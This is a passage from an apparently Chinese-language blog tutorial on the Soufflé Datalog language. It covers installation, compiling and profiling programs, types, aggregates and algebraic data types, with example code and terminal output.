have been many other applications written in the Soufflé language, including applications in reverse engineering, network analysis and data analytics.</p></blockquote><p>使用了 souffle 的项目：（可以有一定基础后观摩学习）：</p><blockquote><p>Soufflé provides the ability to rapid prototype and make deep design space explorations possible. A wide range of <a href="https://souffle-lang.github.io/applications">applications</a> have been implemented in the Soufflé language, e.g., static program analysis for Java <a href="https://bitbucket.org/yanniss/doop">DOOP</a>, parallelizing compiler framework <a href="http://www.insieme-compiler.org/">Insieme</a>, binary disassembler <a href="https://github.com/GrammaTech/ddisasm">DDISASM</a>, <a href="https://link.springer.com/chapter/10.1007%2F978-3-030-25543-5_14">security analysis for cloud computing</a>, and security analysis for smart contracts <a href="https://github.com/nevillegrech/gigahorse-toolchain">Gigahorse</a>, <a href="https://github.com/eth-sri/securify">Securify</a>, <a href="https://github.com/eth-sri/securify2">Secuify V2.0</a>, <a href="https://github.com/usyd-blockchain/vandal">VANDAL</a>. More applications are listed <a href="https://souffle-lang.github.io/applications">here</a>.</p></blockquote><h3 id="安装">安装</h3><p>没有看到 windows 版本的直接安装的办法，只能从源码构建，但是比较容易出问题，并且新手难以解决。所以建议使用 linux 系统。按照<a href="https://souffle-lang.github.io/install">教程</a>即可。</p><h2 id="基础使用">基础使用</h2><h3 id="程序示例">程序示例</h3><p>以下内容来自<a href="https://souffle-lang.github.io/simple">官网</a>，表达了传递闭包。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">// example.dl</span><br><span class="line"></span><br><span class="line">// 声明，edge是关系，可以理解为一阶逻辑里的二元关系</span><br><span class="line">.decl edge(x:number, y:number)</span><br><span class="line">//表示从文件读取</span><br><span class="line">.input edge</span><br><span class="line"></span><br><span class="line">//声明，path也可以理解成二元关系</span><br><span class="line">.decl path(x:number, y:number)</span><br><span class="line">//表示会写入磁盘</span><br><span class="line">.output path</span><br><span class="line"></span><br><span class="line">//这就是一般的 H if B1 B2 B3的形式，表示(B1 B2 B3)蕴含H</span><br><span class="line">//这里是如果存在边x到有的边，那么就存在x到y的路径。</span><br><span class="line">//即满足于关系path(x,y)，当且仅当满足edge(x, y)或者path(x, z), edge(z, y)</span><br><span class="line">//注意定义联系的时候都会有点结尾。</span><br><span class="line">path(x, y) :- edge(x, y).</span><br><span class="line">path(x, y) :- path(x, z), edge(z, y).</span><br></pre></td></tr></table></figure><p>定义输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">//edge.facts</span><br><span class="line">//将会从这个文件读取，facts是无论如何为真的命题公式</span><br><span class="line">12</span><br><span class="line">23</span><br></pre></td></tr></table></figure><p>详细的命令可以输入 <code>souffle --help</code> 查看。运行之后可以得到输出</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">souffle -F. -D. example.dl</span><br></pre></td></tr></table></figure><p>但是可能得到的是压缩包，也可能不是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  souffle_test souffle -F . -D . example.dl</span><br><span class="line">(base) ➜  souffle_test ls</span><br><span class="line">edge.facts  example.dl  path.csv.gz</span><br></pre></td></tr></table></figure><p>还需要解压缩就可以查看内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  souffle_test gzip -d path.csv.gz</span><br><span class="line">(base) ➜  souffle_test ls</span><br><span class="line">edge.facts  example.dl  path.csv</span><br></pre></td></tr></table></figure><p>一般情况，可以直接标准输出，即输出的文件夹设置为 <code>-</code>，在控制台打印</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  introduction souffle example.dl -D -</span><br><span class="line">---------------</span><br><span class="line">path</span><br><span class="line">x       y</span><br><span class="line">===============</span><br><span class="line">1       2</span><br><span class="line">1       3</span><br><span class="line">2       3</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><h3 id="编译">编译</h3><p>之前是直接以解释器(Interpreter)运行，虽然不需要编译时间，但是效率可能不是很高。可以编译成 C++后运行。<code>souffle -F . -D . -o example example.dl</code> 之后就会生成 cpp 源码和二进制的 cpp 文件。可执行文件也有 help 选项。</p><p><code>-c</code> 的功能和 <code>-o</code> 类似，差别在于 <code>-c</code> 会在编译之后，立刻执行程序。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  souffle_test ./example --help</span><br><span class="line">./example: unrecognized option &#x27;--help&#x27;</span><br><span class="line">====================================================================</span><br><span class="line"> Datalog Program: example.dl</span><br><span class="line"> Usage: ./example [OPTION]</span><br><span class="line"></span><br><span class="line"> Options:</span><br><span class="line">    -D &lt;DIR&gt;, --output=&lt;DIR&gt;     -- Specify directory for output relations</span><br><span class="line">                                    (default: )</span><br><span class="line">                                    (suppress output with &quot;&quot;)</span><br><span class="line">    -F &lt;DIR&gt;, --facts=&lt;DIR&gt;      -- Specify directory for fact files</span><br><span class="line">                                    (default: )</span><br><span class="line">    -j &lt;NUM&gt;, --jobs=&lt;NUM&gt;       -- Specify number of threads</span><br><span class="line">                                    (default: 1)</span><br><span class="line">    -h                           -- prints this help page.</span><br><span class="line">--------------------------------------------------------------------</span><br><span class="line"> Copyright (c) 2016-22 The Souffle Developers.</span><br><span class="line"> Copyright (c) 2013-16 Oracle and/or its affiliates.</span><br><span class="line"> All rights reserved.</span><br><span class="line">====================================================================</span><br></pre></td></tr></table></figure><h3 id="调试和日志分析">调试和日志分析</h3><p>生成 html 调试日志 <code>souffle -F . -D . -r example.html example.dl</code>，有非常详细的分析报告。</p><p>也可以简要生成日志，然后用附带的专门的分析工具 <code>souffleprof</code> 分析性能.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  souffle_test souffle -F . -D . -p example.log example.dl</span><br><span class="line">(base) ➜  souffle_test souffleprof example.log</span><br></pre></td></tr></table></figure><h3 id="其他功能">其他功能</h3><p>所有的选项如下表，还是挺丰富的。一些高阶选项后面会接触，大家可以现在都看一遍。</p><p><img src="http://cdn.blog-blockchain.xyz/202209242353850.png" alt="image-20220924235354703"></p><h2 id="语法">语法</h2><p>先看一般的介绍：</p><blockquote><p>Facts are just atomic formulas, rules are atomic formulas followed by a condition — one or more atomic formulas conjoined. Explicit disjunctions are not needed. A question consists of one or more atomic formulas conjoined.</p></blockquote><blockquote><p>Atomic formulas consist of a <em>predicate</em>, optionally followed by a parenthesised list of one or more parameters separated by commas.</p></blockquote><blockquote><p>Parameters are individual constants — now called <em>names</em>, starting with a lowercase letter, or they are individual variables — or just <em>variables</em>, starting with an uppercase letter. Names have their obvious meaning, whereas variables are either quantified — in facts and rules, or they are to be bound in queries.</p></blockquote><p>请注意用于数据库查询的 datalog 和用于程序分析的 datalog 有一些差别。数据库查询的方面，有个不错的<a href="http://nickelsworth.github.io/sympas/16-datalog.html">博客</a>。</p><blockquote><p>There is no unified standard for the specification of Datalog syntax. Thus, each implementation of Datalog may differ. A principle goal of the Soufflé project is speed, tailoring program execution to multi-core servers with large amounts of memory.</p></blockquote><p>文件名一般是 <code>&lt;program.dl&gt;</code>，<strong>语句并不是顺序执行</strong>，程序的整个组成部分如下，有个大致印象即可：</p><p><img src="http://cdn.blog-blockchain.xyz/202210041417336.svg+xml" alt="Program"></p><h3 id="注释">注释</h3><p>注释的格式和 C 语言完全一致。<code>//</code> 或者是 <code>/**/</code></p><h3 id="数据类型">数据类型</h3><p>静态类型系统。只有四类基础类型，<code>symbols</code> 相当于字符串，<code>number</code> 是数字。<code>unsigned</code> 和 <code>float</code> 用的较少。</p><p><code>number </code>可以是 10 进制，2 进制，16 进制。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.decl A(x:number)</span><br><span class="line">A(4711).</span><br><span class="line">A(0b101).</span><br><span class="line">A(0xaffe).</span><br></pre></td></tr></table></figure><h3 id="IO">IO</h3><p>facts 可以直接写在程序里，也可以通过 <code>.input</code> 从文件读取，默认的间隔用 <code>TAB</code>，输入的文件名字必须和 <code>.decl</code> 名字相同，而且后缀是 <code>.fact</code></p><h3 id="一阶逻辑">一阶逻辑</h3><p><code>:-</code> 是逻辑推导的符号，表示 <code>.decl</code> 定义的关系之间的联系，而且定义方式相当自由，允许递归等形式，但是不能是互相矛盾的式子。</p><h4 id="数据结构">数据结构</h4><p>一般默认关系的数组结构是自然平衡树 <code>btree</code>，也可以强制地显式指定</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.decl A(x:number, y:symbol) btree</span><br></pre></td></tr></table></figure><p>另外也存在特殊地用于数据密集型地数据结构 <code>Brie</code>，这是一种特殊的 <code>Trie</code>，默认读者熟悉前缀树。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.decl A(x:number, y:symbol) brie</span><br></pre></td></tr></table></figure><h4 id="等价关系">等价关系</h4><p>默认读者熟悉等价关系，可见 <a href="https://zh.m.wikipedia.org/zh/%E7%AD%89%E4%BB%B7%E5%85%B3%E7%B3%BB">wiki</a>。等价关系非常常用，所以加了特殊的关键字 <code>eqrel</code>，下面给两个程序是等价的：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.decl eqrel_fast(x : number, y : number) eqrel</span><br><span class="line">eqrel_fast(a,b) :- rel1(a), rel2(b).</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">.decl equivalence(x:number, y:number)</span><br><span class="line">equivalence(a, b) :- rel1(a), rel2(b).      // every element of rel1 is equivalent to every element of rel2</span><br><span class="line"></span><br><span class="line">equivalence(a, a) :- equivalence(a, _).     // reflexivity</span><br><span class="line">equivalence(a, b) :- equivalence(b, a).     // symmetry</span><br><span class="line">equivalence(a, c) :- equivalence(a, b), equivalence(b, c).  // transitivity</span><br></pre></td></tr></table></figure><h4 id="inline">inline</h4><p>和 C 语言类似，<code>inline</code> 将会在评估的时候直接展开，而不是单独的存储数据。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.decl natural_number(x:number)</span><br><span class="line">natural_number(0).</span><br><span class="line">natural_number(x+1) :- natural_number(x), x &lt; 10000.</span><br><span class="line"></span><br><span class="line">.decl natural_pairs(x:number, y:number) inline</span><br><span class="line">natural_pairs(x,y) :- natural_number(x), natural_number(y).</span><br><span class="line"></span><br><span class="line">.decl query(x:number)</span><br><span class="line">query(x) :- natural_pairs(x,y), x &lt; 5, y &lt; x.</span><br></pre></td></tr></table></figure><p>相当于下面的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">.decl natural_number(x:number)</span><br><span class="line">natural_number(0).</span><br><span class="line">natural_number(x+1) :- natural_number(x), x &lt; 10000.</span><br><span class="line"></span><br><span class="line">.decl query(x:number)</span><br><span class="line">query(x) :- natural_number(x), natural_number(y), x &lt; 5, y &lt; x.</span><br></pre></td></tr></table></figure><p>这样子会避免计算并且存储大量的 <code>natural_pairs</code>。但是可以知道，这必然会带来一定用法上的限制，我们暂时略过。</p><h4 id="析取">析取</h4><p>一般来说，Datalog 都是采取合取，但是也支持析取的语法。也就是 yong <code>;</code> 而不是 <code>,</code> 间隔。</p><p>例如，假设对于是否能进入房子分成三类人，<code>Housemate</code> 和 <code> Owner</code> 可以进入，但是 <code>Stranger</code> 不可以。就可以得到下面的程序。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">.type Owner &lt;: symbol</span><br><span class="line">.type Housemate &lt;: symbol</span><br><span class="line">.type Building &lt;: symbol</span><br><span class="line">.type Stranger &lt;: symbol</span><br><span class="line"></span><br><span class="line">.type Human = Housemate|Owner|Stranger</span><br><span class="line"></span><br><span class="line">.decl IsHousemate(x:Housemate,y:Building)</span><br><span class="line">.decl IsOwner(x:Owner,y:Building)</span><br><span class="line">.decl IsStranger(x:Stranger,y:Building)</span><br><span class="line"></span><br><span class="line">IsHousemate(&quot;Bob&quot;,&quot;partment123&quot;).</span><br><span class="line">IsOwner(&quot;Alice&quot;,&quot;partment123&quot;).</span><br><span class="line">IsStranger(&quot;Eric&quot;,&quot;partment123&quot;).</span><br><span class="line"></span><br><span class="line">.decl accessable(x:Human,y:Building)</span><br><span class="line">.output accessable</span><br><span class="line">accessable(x,y) :- IsHousemate(x,y);IsOwner(x,y),!IsStranger(x,y).</span><br></pre></td></tr></table></figure><h3 id="算术表达式">算术表达式</h3><p>souffle 做了一定的函子拓展，支持部分内置算术表达式。例如，可以在推导时加上条件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.decl A(n: number)</span><br><span class="line">.output A</span><br><span class="line">A(1).</span><br><span class="line">A(x+1) :- A(x), x &lt; 9.</span><br></pre></td></tr></table></figure><h4 id="算术操作">算术操作</h4><ul><li>Addition: <code>x + y</code></li><li>Subtraction: <code>x - y</code></li><li>Division: <code>x / y</code></li><li>Multiplication: <code>x * y</code></li><li>Modulo: <code>a % b</code></li><li>Power: <code>a ^ b</code></li><li>Counter: <code>autoinc()</code></li><li>Bit operations: <code>x band y</code>, <code>x bor y</code>, <code>x bxor y</code>, and <code>bnot x</code></li><li>Logical operations: <code>x land y</code>, <code>x lor y</code>, and <code>lnot x</code></li></ul><h4 id="算术比较">算术比较</h4><p>The following arithmetic constraints are allowed in Soufflé:</p><ul><li>Less than: <code>a &lt; b</code></li><li>Less than or equal to: <code>a &lt;= b</code></li><li>Equal to: <code>a = b</code></li><li>Not equal to: <code>a != b</code></li><li>Greater than or equal to: <code>a &gt;= b</code></li><li>Greater than: <code>a &gt; b</code></li></ul><h3 id="内置函子">内置函子</h3><p>比较特殊的是，<code>autonic()</code> 函子，相当于创建随机数。</p><p><strong><code>ord()</code></strong> 会生成此程序中这个 <code>symbol</code> 类型的序号，比如 <code>a</code> 的序号应该小于 <code>b</code>。</p><p>还有一些聚合函数，聚合函数的概念在数据库中应该学习过，就是一个集合中提取出来一个信息。</p><p><strong><code>cout</code></strong>: 统计满足条件的 fact 个数，基本语法是 <code>count:&#123;集合与条件&#125;</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.decl Car(name: symbol, colour:symbol)</span><br><span class="line">Car(&quot;Audi&quot;, &quot;blue&quot;).</span><br><span class="line">Car(&quot;VW&quot;, &quot;red&quot;).</span><br><span class="line">Car(&quot;BMW&quot;, &quot;blue&quot;).</span><br><span class="line"></span><br><span class="line">.decl BlueCarCount(x: number)</span><br><span class="line">BlueCarCount(c) :- c = count:&#123;Car(x,&quot;blue&quot;),ord(x)&gt;ord(&quot;Audi&quot;)&#125;.</span><br><span class="line">.output BlueCarCount</span><br></pre></td></tr></table></figure><p><strong><code>max</code></strong>: 很好理解，注意还要制定选择哪一个变量。</p><p><strong><code>min</code></strong>: 和 max 用法完全相同。</p><p><strong><code>sum</code></strong>: 也需要指定变量。</p><p>三者的用法见程序:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">.decl A(n:number, w:symbol)</span><br><span class="line">A(1, &quot;a&quot;). A(10, &quot;b&quot;). A(100, &quot;c&quot;).</span><br><span class="line"></span><br><span class="line">.decl MaxA(x: number,w:symbol)</span><br><span class="line">.output MaxA</span><br><span class="line">MaxA(y, w) :- y = max x:&#123;A(x, w)&#125;.</span><br><span class="line"></span><br><span class="line">.decl MinA(x: number,w:symbol)</span><br><span class="line">.output MinA</span><br><span class="line">MinA(y, w) :- y = min x:&#123;A(x, w)&#125;.</span><br><span class="line"></span><br><span class="line">.decl Sum(s:number)</span><br><span class="line">.output Sum</span><br><span class="line">Sum(s) :- s = sum x:&#123;A(x,_)&#125;.</span><br></pre></td></tr></table></figure><p>得到的输出如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  exp1 souffle max-min-sum.dl -D -</span><br><span class="line">---------------</span><br><span class="line">MaxA</span><br><span class="line">x       w</span><br><span class="line">===============</span><br><span class="line">100     c</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">MinA</span><br><span class="line">x       w</span><br><span class="line">===============</span><br><span class="line">1       a</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">Sum</span><br><span class="line">s</span><br><span class="line">===============</span><br><span class="line">111</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><p><strong><code>contains(string1, string2)</code></strong> : string2 是否包含 string1</p><p><strong><code>match</code></strong>: 含有通配符的匹配，但是文档里没有说明有哪些通配符，读者暂时只记住下面的例子即可。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.decl inputData(t:symbol)</span><br><span class="line">.decl outputData(t:symbol)</span><br><span class="line">.output outputData</span><br><span class="line">outputData(x) :- inputData(x), match(&quot;a.*&quot;,x).</span><br><span class="line">inputData(&quot;aaaa&quot;).</span><br><span class="line">inputData(&quot;abba&quot;).</span><br><span class="line">inputData(&quot;bcab&quot;).</span><br><span class="line">inputData(&quot;bdab&quot;).</span><br></pre></td></tr></table></figure><h3 id="自定义数据类型">自定义数据类型</h3><h4 id="基本语法">基本语法</h4><p>主要类似结构体，这虽然会影响性能，但是拓展了可用性。基本语法如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.type &lt;name&gt; = [ &lt;name_1&gt;: &lt;type_1&gt;, ..., &lt;name_k&gt;: &lt;type_k&gt; ]</span><br></pre></td></tr></table></figure><p>看下面的例子</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// Pair of numbers</span><br><span class="line">.type Pair = [a:number, b:number]</span><br><span class="line"></span><br><span class="line">.decl A(p: Pair)  // declare a set of pairs</span><br><span class="line">A([1,2]).</span><br><span class="line">A([3,4]).</span><br><span class="line">A([4,5]).</span><br><span class="line"></span><br><span class="line">.output A</span><br><span class="line"></span><br><span class="line">// 扁平化</span><br><span class="line">.decl Flatten(a:number, b:number) output</span><br><span class="line">Flatten(a,b) :- A([a,b]).</span><br></pre></td></tr></table></figure><p>也可以定义<strong>类型别名</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.type myNumber = number</span><br></pre></td></tr></table></figure><p>特殊地，还存在<strong>子类型</strong>，每个子类型都是原来类型地严格子集。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.type EvenNumber &lt;: number</span><br><span class="line">.type OddNumber &lt;: number</span><br><span class="line">.type MultiplesOfFour &lt;: myEvenNumber</span><br></pre></td></tr></table></figure><p>为什么要存在子类型呢，因为这样可取区分不同的类型，比如 <code>EvenNumber</code> 和 <code>OddNumber</code> 就区分开了，在大型的项目中有利于减少错误。</p><p>实际的存储方式其实是通过记录 <code>p</code> 然后映射</p><p><img src="https://souffle-lang.github.io/img/record_table.png" alt="Record table example"></p><h4 id="Union-类型">Union 类型</h4><p>这类似于模式匹配，或者说 C 语言的联合体。具体语法：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.type &lt;ident&gt; = &lt;ident-1&gt; | &lt;ident-2&gt; | ... | &lt;ident-k&gt;</span><br></pre></td></tr></table></figure><p>例如地点可以分成多种类型</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.type City &lt;: symbol</span><br><span class="line">.type Town &lt;: symbol</span><br><span class="line">.type Village &lt;: symbol</span><br><span class="line">.type Place = City | Town | Village</span><br></pre></td></tr></table></figure><p>定义的时候，需要注意，所有类别都应该是同一种基础类型，比如上面的 <code>City</code>、<code>Town</code>、<code>Village</code> 都是基础类型 <code>symbol</code> 的子集。</p><p>前面提到了<strong>子类型</strong>，那么就要注意类型的默认转换规则，子类型或者同样的类型，才可以赋值，比如 B=&gt;A 中，A 中 <code>x</code> 的参数类型必须包含 A 中 <code>x</code> 的类型，才可以给 A 赋值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.type even = number</span><br><span class="line">.type odd = number</span><br><span class="line">.decl A(x:even)</span><br><span class="line">.decl B(x:odd)</span><br><span class="line">A(X) :- B(X).</span><br></pre></td></tr></table></figure><p>如果是这样就会报错.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.type even &lt;: number</span><br><span class="line">.type odd &lt;: number</span><br><span class="line">.decl A(x:even)</span><br><span class="line"></span><br><span class="line">.decl B(x:odd)</span><br><span class="line">.output A</span><br><span class="line">B(1). B(3).</span><br><span class="line">A(X) :- B(X).</span><br></pre></td></tr></table></figure><p><strong>类型转换</strong>，但是 <code>as(&lt;expr&gt;, &lt;new-type&gt;)</code> 可以进行类型转换。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.type even &lt;: number</span><br><span class="line">.type odd &lt;: number</span><br><span class="line">.decl A(x:even)</span><br><span class="line"></span><br><span class="line">.decl B(x:number)</span><br><span class="line">.output A</span><br><span class="line">B(1). B(3).</span><br><span class="line">A(as(X,even)) :-  B(X).</span><br></pre></td></tr></table></figure><h4 id="代数数据类型">代数数据类型</h4><p>他就更加类似模式匹配了，如果模式匹配不熟悉，可以稍微了解 Haskell，博客中也有所涉及。基本语法：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.type &lt;new-adt&gt; = &lt;branch-id&gt; &#123; &lt;name_1&gt;: &lt;type_1&gt;, ..., &lt;name_k&gt;: &lt;type_k&gt; &#125; | ...</span><br></pre></td></tr></table></figure><p>例如，不同的代数数据类型，甚至可以<strong>表示</strong>简单的数的操作，逐渐有其他语言中 <code>class</code> 类型的味道。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">.type T = A &#123; x: number &#125;</span><br><span class="line">        | B &#123; x: symbol &#125;</span><br><span class="line"></span><br><span class="line">.type Nat = S &#123;x : Nat&#125;</span><br><span class="line">          | Zero &#123;&#125;</span><br><span class="line"></span><br><span class="line">.type Expression = Number &#123; x : number &#125;</span><br><span class="line">                 | Variable &#123; v : symbol&#125;</span><br><span class="line">                 | Add &#123;e_1 : Expression, e_2 :Expression&#125;</span><br><span class="line">                 | Minus &#123;e_1 : Expression, e_2 : Expression&#125;</span><br><span class="line">                 | Mult &#123;e_1 : Expression, e_2 : Expression&#125;</span><br><span class="line">                 | Divide &#123;e_1 : Expression, e_2 : Expression&#125;</span><br><span class="line"></span><br><span class="line">.type Tree = Empty &#123;&#125;</span><br><span class="line">           | Node &#123;t1: Tree, val: unsigned, t2: Tree&#125;</span><br></pre></td></tr></table></figure><p>上面 使用的是 <code>Empty</code> 表示空，因为不能够出现 <code>nil</code>。</p><p>使用的时候，采用这样的格式 <code>$branch_constructor(args...)</code> 指定选择哪一个分支。每个分支的名字在整个程序的范围内，都必须不能重复。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">.type Expression = Number &#123; x : number &#125;</span><br><span class="line">                 | Variable &#123; v : symbol&#125;</span><br><span class="line">                 | Add &#123;e_1 : Expression, e_2 :Expression&#125;</span><br><span class="line">                 | Imaginary &#123;&#125;</span><br><span class="line"></span><br><span class="line">.decl A(x:Expression)</span><br><span class="line">A($Number(10)).</span><br><span class="line">A($Add($Number(10),$Imaginary())).</span><br><span class="line">A($Add($Number(10), $Variable(&quot;x&quot;))).</span><br><span class="line">A($Number(x+1)) :- A($Number(x)), x &lt; 20.</span><br><span class="line"></span><br><span class="line">.output A</span><br></pre></td></tr></table></figure><p>结果如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  exp1 souffle test.dl -D -</span><br><span class="line">---------------</span><br><span class="line">A</span><br><span 